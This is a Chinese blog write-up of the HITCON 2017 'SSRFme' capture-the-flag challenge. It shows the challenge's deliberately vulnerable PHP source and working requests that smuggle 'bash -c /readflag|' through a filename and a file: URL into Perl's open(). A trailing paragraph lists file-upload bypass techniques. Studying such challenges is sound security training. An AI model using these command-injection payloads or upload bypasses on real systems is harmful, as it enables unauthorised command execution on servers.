一天一道ctf 第54天(GET open任意执行漏洞)

[HITCON 2017]SSRFme

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

前半段代码用orange和ip地址的md5编码在sandbox下新建了一个文件夹并且进入到该文件夹下。后来再用GET执行url的参数,这里的GET是Lib for WWW in Perl中的命令,有任意命令执行漏洞。再用filename新建文件夹,并且将GET命令执行的结果放入该文件夹。

ip地址已经显示在源码页面上了,再加上orange用MD5编码得到文件夹名sandbox/5bfd90feef2e64d9ecea7d17eed33d47
读取根目录文件然后将结果存放到文件夹a中,再直接访问

http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/?url=/&filename=a
http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/a


可以看到有flag和readflag文件,应该是要执行readflag才能获取到flag。这里用的是open函数的任意代码执行漏洞,我们先新建一个文件?url=&filename=bash -c /readflag|
然后利用open的漏洞执行代码?url=file:bash -c /readflag|&filename=c
再访问http://40b3989b-1e00-4b28-8ccb-ca5e02739a34.node4.buuoj.cn:81/sandbox/5bfd90feef2e64d9ecea7d17eed33d47/c得到flag
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
文件上传漏洞是指在网站或应用程序中,用户可以上传文件的功能存在安全漏洞,攻击者可以利用这个漏洞上传恶意文件,从而对系统进行攻击或控制。文件上传漏洞的测试流程可以按照以下步骤进行: 1. 首先,按照要求上传文件,并观察返回的结果,包括路径和提示信息。这可以帮助我们了解文件上传功能的限制和安全措施。 2. 接下来,尝试上传不同类型的恶意文件,如包含恶意代码的PHP文件。通过分析结果和查看HTML源码,我们可以判断是否存在前端的上传限制,以及是否可以绕过这些限制。 3. 在绕过上传限制方面,可以尝试使用黑白名单绕过、MIME类型绕过、目录0x00截断绕过等方法。这些方法可以结合其他漏洞,如敏感信息泄露漏洞,来获取木马文件的路径。 4. 最后,连接测试木马文件的路径,以验证文件上传漏洞的利用效果。 文件上传漏洞的产生原因通常是在用户上传文件时,后台没有对上传功能进行安全考虑,或者采用了有缺陷的安全措施。这使得攻击者可以通过各种手段绕过安全措施,上传恶意文件,从而控制整个Web后台系统。\[1\]\[3\] 请注意,文件上传漏洞是一种严重的安全威胁,开发人员应该在设计和实现文件上传功能时,采取适当的安全措施,如文件类型检查、文件大小限制、文件名过滤等,以防止此类漏洞的出现。 #### 引用[.reference_title] - *1* *2* *3* [【web-ctfctf-pikachu-fileupload](https://blog.csdn.net/Dajian1040556534/article/details/126451918)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值